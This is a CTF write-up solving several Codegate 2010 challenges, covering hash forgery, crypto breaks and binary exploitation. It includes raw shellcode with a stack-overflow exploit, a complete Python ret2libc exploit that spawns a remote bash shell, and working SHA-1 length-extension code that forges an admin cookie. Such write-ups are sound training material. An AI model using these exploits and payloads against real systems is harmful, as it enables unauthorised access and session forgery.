=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
=*=*=*=*=*=*=*=*=       CHALLENGE 2       =*=*=*=*=*=*=*=*=*=*=*
=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*

By reversing the binary for this level, we learn that it is a kind of VM,
loading and running bytecode from "codefile", or any other file you want,
as long as it matches a checksum.

We started by reversing the hashing algorithm to C.

The resulting code looks like this:

void hash_block(unsigned int a, unsigned int b, int c, int d, int e, int f, int *state1, int *state2)
{
        int i, j = 0;

        for(i = 0; i <= 0x1f; i++)
        {
                j += -1640531527;
                a += (c + 16 * b) ^ (b + j) ^ (d + (b >> 5));
                b += (e + 16 * a) ^ (a + j) ^ (f + (a >> 5));

        }


        *state1 = a;
	*state2 = b;

}



int check_code()
{
        int state1;
        int state2;

        int i;

        hash_block(0x99999999, 0xBBBBBBBB, 0x44444444, 0x55555555, code[0], code[1], &state1, &state2);

        for(i = 2; i <= 0x7ffe; i += 2)
                hash_block(state1, state2, state1, state2, code[i], code[i + 1], &state1, &state2);

        if (state1 != 515942896 || state2 != -1843924940)
	{
		printf("FAIL :(\n");
		exit(1);
	}
}



Googling around a bit we find out that this is the TEA encryption algorithm used
as a hashing algorithm, which is apparently what was used to hack the xbox.
TEA should not be used as a hash, as we can flip bit 31 in two consecutive blocks,
and the hash will remain the same, with a 50% or so success rate.


Okay, so we can flip some bits in some parts of the bytecode, where will that get us?
Since we can only modify bit 31, we can't modify the actual instructions,
but we can modify the behaviour of set_imm and branch instructions subtly.
We can make branches jump 1 more instruction than expected, or make set_imm use
register values instead of immidiates.

We wrote a small "disassembler" for the bytecode, and disassembled "codefile" to
look for instructions to change.

What "codefile" does is ask for a password the vm reads from the file "secret",
and if it matches it prints the flag.

Here is the code for the actual comparison loop:
46: 0 = branch 10 11(^K)
47: 19 = set_imm 5 57(9)
48: 20 = set_imm 0 0
49: 21 = set_imm 0 35(#)
50: 21 = sub 21 20
51: 21 = not 21 0
52: 22 = set_imm 0 94(^)
53: 0 = branch 21 22
54: 21 = load 20 0
55: 25 = add 19 20
56: 0 = nop 0 0
57: 26 = load 25 0
58: 26 = sub 21 26
59: 22 = set_imm 0 65(A)
60: 0 = branch 26 22
61: 23 = set_imm 0 1
62: 20 = add 20 23
63: 22 = set_imm 0 49(1)
64: 0 = branch 22 22


This translates to something very roughly like this in C:

int i;
int password_off = 1337;

for(i = 0; i < pw_len; i++)
{
	if(mem[i] != mem[i+password_off])
	{
		printf("Access denied");
		exit(1);
	}

}

If you look at the branch at instruction 46, if we make that skip an extra
instruction we can make the initialization of password_off fail, making it
"uninitialized", ie 0. This will make the loop compare our input with itself,
always succeeding.

We then take a copy of codefile and flipping the 31st bit of the correct branch
instruction, and the next one to fix up the hash.

hugh@codegate-desktop:~$ ~/yboy evilfile
Loading....
<snip>
Enter password>>
Greetz hackers. Keep up the good work. Stay sharp. Disobey misinformation.
Your flag is: TEA - Toiletpaper Esque Aspirations


=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
=*=*=*=*=*=*=*=*=       CHALLENGE 3       =*=*=*=*=*=*=*=*=*=*=*
=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*

The hint suggests that there is some kind of home-rolled crypto involved.

Upon connecting to ctf3.codegate.org port 20909 we are faced with an input prompt
at wich we enter AAAA at random. This gives a reply in hexadecimal. The whole
session is shown below:

$ nc ctf3.codegate.org 20909
Message To:?
AAAA
e5 2f 79 bd 4a ad 6b cb 
21 e9 fc 9b 6d b1 d2 d4 
f3 d9 63 49 46 87 86 b8 
a9 63 00 12 9c 12 d5 e0 
3e 99 2e 81 08 91 f4 65 
9e 25 fe e1 fe 66 f1 57 
2f 79 e8 a1 9f 1f 1a 85 
f1 06 3f 64 92 8c a3 b7 
6e ab fc 4f 64 9c b1 84 
ef 34 0b e9 56 f8 d0 19 
9c 32 
$

Ok, so what happens if we change the input?

$ nc ctf3.codegate.org 20909
Message To:?
BBBB
e5 2f 79 be 49 ae 68 cb 
21 e9 fc 9b 6d b1 d2 d4 
f3 d9 63 49 46 87 86 b8 
a9 63 00 12 9c 12 d5 e0 
3e 99 2e 81 08 91 f4 65 
9e 25 fe e1 fe 66 f1 57 
2f 79 e8 a1 9f 1f 1a 85 
f1 06 3f 64 92 8c a3 b7 
6e ab fc 4f 64 9c b1 84 
ef 34 0b e9 56 f8 d0 19 
9c 32 
$

We notice that only four bytes changed, 
 bd 4a ad 6b  =>  be 49 ae 68
so what happens if we input a mix of A's and B's ?

$ nc ctf3.codegate.org 20909
Message To:?
AABA
e5 2f 79 bd 4a ae 6b cb 
21 e9 fc 9b 6d b1 d2 d4 
f3 d9 63 49 46 87 86 b8 
a9 63 00 12 9c 12 d5 e0 
3e 99 2e 81 08 91 f4 65 
9e 25 fe e1 fe 66 f1 57 
2f 79 e8 a1 9f 1f 1a 85 
f1 06 3f 64 92 8c a3 b7 
6e ab fc 4f 64 9c b1 84 
ef 34 0b e9 56 f8 d0 19 
9c 32 
$

The same four bytes are now
  bd 4a ae 6b
wich are a combination of the bytes that were returned when entering AAAA and BBBB.

Now, what about the rest of the message? One possibility would be that some message
is appended to the entered string and then `encrypted' with some kind of
character/position dictionary.

Lets input long strings for all 256 characters and make a char/position to char
dictionary.

After running:

$ for A in $(jot 255) ; do perl -e "print chr($A)x80" | nc ctf3.codegate.org 20909 > $A.txt ; done
$ nc ctf3.codegate.org 20909 <<< "" > text.txt

we have data to make a dictionary in 0.txt, 1.txt ... 255.txt
we have the data to decrypt in text.txt

The following code makes a dictionary and decrypts the text:

#!/opt/local/bin/python
import os, string

d = 256 * [None]
for x in range(256):
    d[x] = dict()

for i in range(1,200):
    f = open('%s.txt' % i, 'r')
    f.readline() # skip first line
    s = f.read()
    l=string.split(s)
    for j,s in enumerate(l):
        d[j][s] = chr(i) 

f = open('text.txt', 'r')
f.readline() # skip first line
s = f.read()
l=string.split(s)
result = ''
for j,s in enumerate(l):
    result += d[j][s] 

print result
# end of code


Running the program:

$ ./decode.py 


Dear CTF Player,
Your flag is: Block_Ciphers=NSA_Conspiration

--
LM**2.

$

And we are done.



=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
=*=*=*=*=*=*=*=*=       CHALLENGE 4       =*=*=*=*=*=*=*=*=*=*=*
=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*

This level is nickamed "easy", because it is quite easy. In fact, it's so
easy that we were the first team to complete it.

After analyzing the binary in IDA it is clear that our input will be written
to a newly allocated buffer by calling getline(3). This buffer is then handed
over to a function aptly called "func" which looks like this:

void *__cdecl func(const void *a1, size_t a2)
{
  char v3; // [sp+10h] [bp-108h]@1

  return memcpy(&v3, a1, a2);
}

Since a2 is the number of bytes to be copied and this is = strlen(a1), it is
clearly a standard stack overflow since v3 is local to func(). By looking
at the state where the process receives SIGSEGV after an exploit attempt,
it is also evident that eax contains the address to our buffer.
Therefore, all we need to do is:
1) Put shellcode at the beginning of input
2) Redirect execution to some instruction that jumps to eax

We used the following simple gdb script to find a suitable instruction:

#######################################################################
# bitshift.gdb
# shift through a region of memory bit by bit to identify all possible
# instructions.  (hopefully for a sexy ass jmp)

define bitshift
    set $begin = $arg0
    set $end   = $arg1

    printf "\nBitshifting all possible instructions starting at 0x%08x ending at 0x%08x\n", $begin, $end

    while($end > $begin)
        x/i $begin
        set $begin = ($begin) + 1
    end
end
#######################################################################

Address 0x804860b was found to contain a call eax instruction, and we
quickly hacked together a simple exploit in python and celebrated sweet
success:


# easy.py
"""
root@ubuntu-8-i386:~# (python easy.py;sleep 1;echo;cat)|nc -vvn 222.239.224.233 9000
(UNKNOWN) [222.239.224.233] 9000 (?) open
Input: id
uid=1003(easy) gid=1003(easy)
ls -al
ls: cannot open directory .: Permission denied
cd ~easy
ls -al
total 40
drwxr-xr-x 2 easy easy 4096 Mar 13 08:37 .
drwx--x--x 7 root root 4096 Mar 13 05:32 ..
-rw-r--r-- 1 easy easy  220 Sep 14 14:09 .bash_logout
-rw-r--r-- 1 easy easy 3180 Sep 14 14:09 .bashrc
-rw-r--r-- 1 easy easy  675 Sep 14 14:09 .profile
-rwxr-x--- 1 easy root 8503 Mar 13 06:52 easy
-rw-r--r-- 1 easy easy  167 Oct  3 05:40 examples.desktop
-rwx------ 1 easy root   36 Mar 13 08:37 flag.txt
cat flag.txt
bc15d4ddf6ca486682064ad226a7ff1b  -

"""
import struct

sc = "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"

addr = 0x804860b # call eax

a = struct.pack("<I",addr)

print sc + 'AA' + a*100


=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
=*=*=*=*=*=*=*=*=       CHALLENGE 5       =*=*=*=*=*=*=*=*=*=*=*
=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*

This level runs remotely on ports 9001, 9003, 9007, 9008, 9009 through inetd or something similiar.
From the disassembly/hexrays decompilation of the binary we can see that it's
basically the same as challenge 4, but harder (that's why it's called "harder", get it?).
It's a simple buffer overflow except that all memory areas that are writable
are non-exec.

void *__cdecl func(int a1, int a2)
{
  char v3; // [sp+10h] [bp-108h]@1

  return memcpy(&v3, (const void *)a1, a2);
}

int __cdecl main()
{
  int v1; // [sp+1Ch] [bp-4h]@1
  int v2; // [sp+18h] [bp-8h]@1

  v1 = 0;
  printf("Input: ");
  fflush(0);
  getline(&v1, &v2, stdin);
  func(v1, v2);
  return puts("\nThanks. Goodbye");
}


Our solution to the level is to overflow the saved eip of func and make it return
to system(), since it's running under ASLR we choose to leak some helpful
addresses first. To do this we make it return into this snippet in main:

0x08048521 <main+22>:   mov    %eax,(%esp)
0x08048524 <main+25>:   call   0x8048408 <printf@plt>

Since eax still contains the address our input is copied to by the memcpy in func,
this will make printf use our input as the argument. Using the format string
"%4$x %7$x" we leak two important addresses, one is the address of the buffer
containing our input from getline, and one is an address from libc, which we
can use to locate system().

The offset from this leaked libc address to system() is 0x9cdb, easily found in gdb.

Now that we have all the information we need, we chain the call to printf to
return into main once again, and redo the exploit.

So, our final exploit buffers look something like this:

First time: [fmt string | padding | printf-snippet | main]
Second time: [command | padding | system | dummy | buffer address]


Putting this together into level5.py, we can reliably exploit the program and
grab the flag:

kali@myst:~/cg/level5$ python level5.py 
id
uid=1004(harder) gid=1004(harder)
cat ~/flag.txt
e2e4cb6adc9cd761dcde774f84529591  -


# level5.py
#!/usr/bin/python
import struct
import socket
import telnetlib

HOST = "ctf4.codegate.org"
PORT = 9001

main = 0x0804850b # addr of main
printf = 0x8048521 # addr of mov %eax, (%esp); call printf@plt; in main

s = socket.socket()
s.connect((HOST, PORT))

buf = "%4$xZ%7$xZ" # fmt to leak addrs
buf += "Y"*(268-len(buf)) # some padding
buf += struct.pack("<L", printf) # first function to call
buf += struct.pack("<L", main) # function to return to after that
buf += "\n"

s.sendall(buf)
s.recv(1024)

tmp = s.recv(1024).split("Z")

libc_leaked = int(tmp[0], 16)
getline_buf = int(tmp[1], 16)

system = libc_leaked + 0x9cdb # offset to system

buf = "/bin/bash; #"
buf += "Y"*(268-len(buf)) # some padding
buf += struct.pack("<L", system) # function to call
buf += struct.pack("<L", 0x41424344) # where to return after the function (dummy)
buf += struct.pack("<L", getline_buf) # addr for our buffer to use as argument to system
buf += "\n"

s.sendall(buf)

# interact with our newly spawned shell
t = telnetlib.Telnet()
t.sock = s
t.interact()


=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
=*=*=*=*=*=*=*=*=       CHALLENGE 13       =*=*=*=*=*=*=*=*=*=*=
=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*

Another challenge we snagged before everyone else. Yay us!

The goal is to exploit a network daemon called "sftpd".
We first looked at the configuration file and found two interesting
hashes which seemed to correspond to the passwords for the protected
files "sftpd" and "secrets":

# Password protected files
# format: filename:sha1 hash:
sftpd:7c4a8d09ca3762af61e59520943dc26494f8941b:
secrets:df006ea3fffacb05a129223c8e2b7b89b3fef969:

We quickly cracked the password for "sftpd" which turned out to be 123456:
orcon:~% echo -n 123456|sha1sum
7c4a8d09ca3762af61e59520943dc26494f8941b  -

We then proceeded to download and analyze the binary for the daemon itself.
After some coffee and massaging the binary in IDA for a bit, it became
clear that the authors of the daemon were checking the passwords from
users incorrectly by calling:

correct_password = (strncasecmp(saved_hash, input_hash, 20) == 0)

This would have been fine if they were comparing the hex digests, but they
are comparing the binary forms of the hash digests directly - these can
contain nullbytes which causes strncasecmp() to stop comparing. All we need
to do is find a password that will hash to:

??006ea3

Because of byte order, this will be placed in memory as:
0xa3    0x6e    0x00    0x??
                  ^ yay!

We fed a dictionary to a simple 2-line cracker in python and came up
with a candidate password:

orcon:~% echo -n bagforn|sha1sum
08006ea30e0f4477e1411402f33a246bdb50ccb7  -

After using this as the password for the file "secrets", we were
handed the contents as expected:

get secrets bagforn
==== !!!!!! Congggggratuuulaaations!!!!! =========

Your flag: 

PythonIsSoooSlowEvenWithPsyco.class


======================
][][][][][][]
][][][][][][]
][][][][][][]
][][][][][][]
][][][][][][]
][][][][][][]
][][][\o/][[]
][][][][][][][][][][][][]
][][][][][][][][][][][][]
][][][][][][][][][][][][]
][][][][][][][][][][][][]
][][][][][][][][][][][][]
][][][][][][][][][][][][]


=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
=*=*=*=*=*=*=*=*=       CHALLENGE 15       =*=*=*=*=*=*=*=*=*=*=
=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*

Instructions:

credentials: http://ctf1.codegate.org/03c1e338b6445c0f127319f5cb69920a/web1.php

Sorry for miss info. the sha1 should be 

HINT: sha1(key + username + "|" + level), and key is 25 chars


Analysis:

The given webpage consists of a form with only a username field and a submit button.

Entering a username, in my case LarsH, returns the message

Hello, LarsH!

and sets the cookie

web1_auth=TGFyc0h8MQ%3D%3D%7C37befd5a9ee45519e8a76de11e5ceadaa1bed82c

Accessing the webpage again, with the cookie set returns the message:

Welcome back, LarsH! You are not the administrator.


Solving:

Url-decoded, the cookie looks like:

web1_auth=TGFyc0h8MQ==|37befd5a9ee45519e8a76de11e5ceadaa1bed82c

The cookie seems to consist of a base64 encoded string and, according to the hint,
a SHA1 hash (160 bits).

Decoded, the base64 encoded string is:

LarsH|1


What we want to do is to submit a cookie with a different level. However, from the
hint we do not know what the secret string `key' is, and it's too long to brute
force guess. Impossible situation? No! :)

As the SHA hash represents the internal state, it is possible to calculate a new
SHA hash from an old one when appending first the padding from the first
finalization (wich can be calculated if we know the length of the message, and
from the hint we do) and then an arbitrary message, which will be interpreted
as the level - wich is exactly what we want to change.

After doing some research and coding, we came up with this SHA-spoofing module:

# beginning of sha_spoof.py
import struct, copy, sha # XXX http://codespeak.net/pypy/trunk/pypy/lib/sha.py

# Sha spoofing function
# Hacked together by LarsH for Codegate 2010 CTF preliminary match
# with much inspiration from http://www.huyng.com/wp-content/uploads/spoof_md5.py.txt

def spoof_digest(originalDigest, originalLen, spoofMessage=""):
    """
    Arguments:  originalDigest is a 20 byte hexadecimal string representation of a SHA-1 hash.
                originalLen is the length in bytes of the hashed string
                spoofMessage is a string to append to the 

    Returns:    (newHash, paddingBits)
                newHash is the new SHA hash, represented as a 20 byte hexadecimal string 
                paddingBits is a binary string with bits           
    """

    PADDING = "\x80" + 100 * "\0"
    spoof = sha.sha()
  
    spoof.count[1] += originalLen << 3
    index = int((spoof.count[1] >> 3) & 0x3f)
    padLen = (56 - index) if index < 56 else (120 - index)
    bits = struct.pack('>q', spoof.count[1])
    padding = PADDING[:padLen]

    spoof.count[1] += len(padding) << 3
    spoof.count[1] += len(bits) << 3

    (spoof.H0, spoof.H1, spoof.H2, spoof.H3, spoof.H4) = struct.unpack('>LLLLL', originalDigest.decode('hex'))
    
    spoof.update(spoofMessage)
   
    return (spoof.hexdigest(), padding+bits)


def test_spoofing():

    originalMsg = 'secret' + 'my message'
    appendedMsg = 'my message extension'

    s = sha.sha()
    s.update(originalMsg)
    originalSignature = s.hexdigest()
    print originalSignature
    
    (spoofSignature, padbits) = spoof_digest(originalSignature, len(originalMsg), appendedMsg)
    print spoofSignature

    s = sha.sha()
    s.update(originalMsg + padbits + appendedMsg)
    testSignature = s.hexdigest()
    print testSignature
    
    print [originalMsg, originalSignature]
    print [originalMsg + padbits + appendedMsg, testSignature]
    if testSignature != spoofSignature:
        print 'Test failed' 
    else:
        print 'Passed test'

if __name__ == "__main__":
    test_spoofing()

# end of sha_spoof.py


After some mild beating, we got the 'Passed test' message.
Glueing this module together with the webpage, and appending the string 'admin' to the cookie message with the following code:

# beginning of file web1.py
import urllib, urllib2, os
from base64 import b64decode, b64encode
from sha_spoof import spoof_digest

DEFAULT_POST_VALUES = ""
theaddress='http://ctf1.codegate.org/03c1e338b6445c0f127319f5cb69920a/web1.php'
cookieName = 'web1_auth'

def getz(url, headers, postvalues = DEFAULT_POST_VALUES):

    url = url.replace(' ', '%20')
    postdata = urllib.urlencode(postvalues)
    req = urllib2.Request(url, postdata, headers)

    try:
        sock = urllib2.urlopen(req)
    except urllib2.HTTPError, e:
        return ''

    data = sock.read()
    return data
   
def getCookie(n):
    f = "curl -v -F 'username=%s' %s 2>&1  | grep auth | awk '{print $3}'" % ( n, theaddress)
    p = os.popen(f,"r")
    s = urllib.unquote_plus(p.read())
    # print s
    if s == '':
        return ['','']
    s = s[10:]
    l = s.split('|')
    l[1] = l[1].split(';')[0]
    l[1] = l[1][0:40]
    l[0] = b64decode(l[0])
    return l

def getit(iv, data):
    headers = {'Cookie': cookieName + '=' + b64encode(iv) + '|' + data}
    return getz(theaddress,headers)

if __name__ == '__main__':
    l = getCookie('LarsH')
    msg = 'admin'
    print l
    (d2, bits) = spoof_digest(l[1], 25+len(l[0]), msg)
    s2 = l[0] + bits + msg
    print [s2, d2]
    print getit(s2, d2)

#end of file web1.py

Running the script:

$ python web1.py 
['LarsH|1', '37befd5a9ee45519e8a76de11e5ceadaa1bed82c']
['LarsH|1\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00admin', 'ec3b5b8a6a3cb6f18cb6bc4cf0322174e6922513']
Welcome back, LarsH! Congratulations! You did it! Here is your flag: CryptoNinjaCertified!!!!!
$

And we are done.


=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
=*=*=*=*=*=*=*=*=       CHALLENGE 17       =*=*=*=*=*=*=*=*=*=*=
=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*

This level is running remotely on port 10909, when you connect to it it asks for
three values:

kali@myst:~/cg/level17$ nc -vv ctf3.codegate.org 10909
ctf3.codegate.org [222.239.224.236] 10909 (?) open
a?
1
c?
2
m?
3
Bad values


From the hint "Lucy in the CodeGate with diamonds", we stumble upon the wikipedia
page for lcg, or Linear Congruential Generator, a kind of pseudorandom number
generator algorithm, and find that the values a, c and m are parameters used.
(http://en.wikipedia.org/wiki/Linear_congruential_generator)

From wikipedia we learn that lcg works something like this:

int state = INITIAL;

int rand()
{
	state *= a;
	state += c;
	state %= m;

	return state;
}

And that the constrains for valid a, c, and m are:
1. c and m must be relatively prime
2. a - 1 is divisible by all prime factors of m
3. a - 1 is a multiple of 4 if m is a multiple of 4
4. m > a > 0
6. m > c >= 0


By trying some possible values of a, c, m in the level we find that in this level
some extra constraints are added:
1. c > 0
2. m >= 255


When given some valid a, c and m, the level spits out this output:
a=1 c=1 m=255 s=1
\x56\x6c\x3e\x5c\x69\x72\x02\x4d\x6f\x6a\x7e\x2d\x4d\x5b\x56\x31\x42\x7f\x75\x6c\x73\x65\x34\x13\x43\x74\x69\x6f\x3e\x79\x4c\x40\x45\x03\x4d\x56\x1c\x07\x7d\x65\x4f\x4a\x5e\x43\x62\x6c\x77\x05\x74\x46\x5a\x13\x66\x45\x57\x5f\x53\x4f\x36\x37\x13\x12\x4a\x0d\x0f\x69\x6e\x77\x68\x4d

The first line tells us the values we entered and that the initial state s is 1.
The second line seems to be some kind of "encrypted" data we probably want to
figure out.

We notice that when changing the parameters to the lcg, the encrypted data also
changes, so it's probably based on random numbers somehow.

To make the lcg behave as nicely as possible we can set:
a = 1
c = 1
m = some high prime


This will make the random numbers go something like 2, 3, 4, 5, 6 until it reaches
m, and we can increase the step size freely by increasing c.

We write a small python script to collect samples for runs with c=1, 2, 3, 4 etc,
then another one to compare the samples to try and find some patterns.

Maybe they just added a random number to each character?

Lets take the difference between the first sample and every other sample:

c = 2 [1, -6, -5, -4, -3, 6, 7, 8, 9, 2, 3, 4, 5, -18, -17, -16, -15, -22, -21, -20]
c = 3 [-2, -4, -6, -8, -10, -12, 18, 16, 14, 12, 10, 8, 6, 4, -30, -32, -34, -36, -38, -40]
c = 4 [-1, -14, -7, -20, -21, -18, -27, -24, -25, -38, -31, -44, -45, -42, -51, -48, -49, -62, -55, 60]
c = 5 [-12, -8, -20, -16, -28, -24, 28, 32, 20, 24, 12, 16, 4, 8, -68, -64, -76, -72, -84, -80]


Hmm, no obvious pattern there.
A hunch tells us it might be something with xor.

We try a few different things, but then come across this, first[i] ^ sample[i] ^ (i + 2) and this clear pattern appears:
c = 2 [3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22]
c = 3 [5, 7, 9, 11, 13, 15, 17, 19, 21, 23, 25, 27, 29, 31, 33, 35, 37, 39, 41, 43]
c = 4 [7, 10, 13, 16, 19, 22, 25, 28, 31, 34, 37, 40, 43, 46, 49, 52, 55, 58, 61, 64]
c = 5 [9, 13, 17, 21, 25, 29, 33, 37, 41, 45, 49, 53, 57, 61, 65, 69, 73, 77, 81, 85]


Thinking about it and trying some things, it seems like the encryption does something like:
int key = rand();
for(i = 0; i < max; i++) crypto[i] = plaintext[i] ^ (i * (key - 1) + key);


So if we take the sample for c = 1 (key = 2), and simply xor every character with i * (key - 1) + key, we should get the cleartext:
>>> "".join([chr(c^(i+2)) for i, c in enumerate(sample)])
'To:You\nDear CTF Player,\nYour flag is: ULearnLCG4Fun&Profit\n\n--\nLM**2.\n'

